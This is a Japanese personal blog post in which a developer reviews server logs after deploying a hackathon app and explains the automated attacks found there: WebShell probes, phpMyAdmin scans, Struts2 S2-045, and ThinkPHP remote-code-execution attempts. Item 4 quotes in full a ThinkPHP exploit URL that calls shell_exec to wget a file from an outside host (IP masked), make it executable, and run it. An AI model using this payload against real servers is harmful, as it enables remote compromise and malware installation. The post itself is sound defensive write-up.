Theories of Pleiades

技術の話とかイベントに行った話とか思ったこととか

Webアプリを公開したら攻撃を受けた話

TL;dr

  • Webやるならセキュリティの勉強をしろ
  • サーバのログは保存しよう
  • WordPressは狙われやすいので気をつけて扱う


Webアプリをデプロイした

2月に福井県で行われたハッカソンに出たときのプロダクトが動くようになったので公開しました。

ハッカソンの詳細は以下記事から↓

mwc922-hsm.hatenablog.com


公開したアプリは「観光地などでどこに行って良いかわからないときに他人の足あとを参考にできればいいよね」というので,以下から実際に使うことができます。

hsm-hx.work


アプリの構成

ざっくり書くと,VPS上にDockerでGolangMySQLのコンテナを立てています。

バックエンドの一部とフロントエンドのデザイン,CSS,一部スクリプトを担当しました。


サーバが攻撃を受けた

寝て起きたらアプリにバグが見つかったので修正ついでにログを眺めてみました。

思ったよりアクセスされていてうおーすごいと思いながらログを遡っていたら突然大量の404が吐かれている部分を発見。


大体こんな感じ。

404 GET  /payload.php
404 GET  /images/!.php
404 POST  /9678.php
404 POST  /db.init.php
404 POST  /wp-admins.php
404 POST  /m.php?pbid=open


途中にxiao.phpだとかzuoshou.phpとかへのアクセスがあったのを見る限り中国からの攻撃なのかな?


ほとんどの攻撃が同じIPアドレスからでしたが,一部別のIPアドレスからの攻撃も混ざっていました。


個別の攻撃をちょっと詳しく調べてみた

1. POST /wp-content/plugins/fAaWBH.php

WordPressの特定のプラグイン脆弱性を利用した攻撃なのかな?と思ったらそうではなかった。

プラグインにアクセスしているのであれば/wp-content/[プラグイン名]となるらしいです。


調べてみるとWebShellが存在するか確認している攻撃の一種らしいです。

WebShellというのはWeb上からサーバのシェルにコードを送り込むためのエンドポイントみたいなやつで,他の攻撃者がこれをサイト上に設置していた場合いろいろな攻撃者からこのWebShellを通してサーバに攻撃が飛んでくるというわけです。怖い。


リクエストボディには特に意味のないコードが仕込まれているらしく,その実行結果が正しく返ってきたらWebShellが設置されているということで次の攻撃が掛かってくるみたいな仕組みらしい。

WebShellなるものの存在を初めて知ったので今度実験してみようと思います。


2. POST /index.php?s=captcha

一連の攻撃が全てリクエスト先がphpファイルだった辺りWordPressのサイトを標的にした攻撃っぽい…と思ったらそうではないらしい。

調べてみると,ThinkPHPの脆弱性を利用した攻撃ということがわかりました。

ThinkPHPというのは中国で人気のある(あった?)フレームワークで,調べてみると任意のコードが実行できる脆弱性が一時騒動になったらしいです。なるほど。


個人的に「フレームワークを使っていれば大抵の脆弱性は防げる」みたいな気持ちがあったのでちょっと驚いてしまった。セキュリティはいつでも意識しておかなければいけません。


3. GET /phpMyAdmin/index.php

やたらいろいろなパスでphpMyAdminへのアクセスを試していました。

/pmd/index.phpとか,/pma2/index.phpとか,db/index.php/admin/pma/index.php/mysql-admin/index.phpとかとか。


これについては特に書くこともありませんが,MySQLのWebUIへの接続を試みています。

フォロワーさんが教えてくれた記事にこの攻撃を詳しく解析してみた話が載っていたので紹介しておきます。

graneed.hatenablog.com


4. GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://[IPアドレス]/a_thk/sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a;

クエリの様子からも分かる通りこれも2番目のものと同じようにThinkPHPの脆弱性を利用した攻撃。URLのIPアドレスは伏せました。

中をなんとなく読んでみると,あるサーバのファイルをダウンロードして実行権限を付け,実行する…みたいなコードっぽい?


それにしてもGETリクエストからshell_execとか呼べるってどんな脆弱性だよ酷すぎるだろ。


5. GET /index.action

これはApache Struts2脆弱性S2-045(CVE-2017-5638)を利用した攻撃とのことで,任意のコードが実行可能な脆弱性らしいです。厳しい。
似たような攻撃にGET /index.doというリクエストがありましたが,これも同じものっぽい。


まとめ

実際にサーバを公開してログを取ってみないと得られない経験をしました。確かにググれば出てくることではあるけど一瞬ちょっとビビった。

今回は全部自動のスクリプトによる無差別攻撃だった(多分)ので良かったけど自分のサーバが狙われたらと思うと怖いですね。


今回の開発にはチームの方の提案でDockerを使っていたのですが,適切にアプリケーションをコンテナ化すると使いやすいだけでなく万が一攻撃を受けたときの被害をコンテナの中だけに抑えられるので嬉しい気がします。


また,WordPressをアルバイトで扱っていたことがあるので「脆弱性が多くて攻撃を受けやすいので良くない」というのは聞いたことがあったのですが,実際にこうWordPressを標的にした攻撃を目の当たりにすると実感が湧きますね。

あとこれを思い出しました。

www.excite.co.jp


ともあれローカルで動かしていては絶対にこういった経験はできないので,Web開発をしている人は実際にデプロイしてみるとまた新しい発見があるかもしれません。


参考リンク

ハニーポット観察記録(37)「WebShellの探索」 at www.morihi-soc.net

ハニーポットのログ分析(2019/02/21) - S-Owl

ハニーポットのログ分析(2019/02/19) - S-Owl

Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起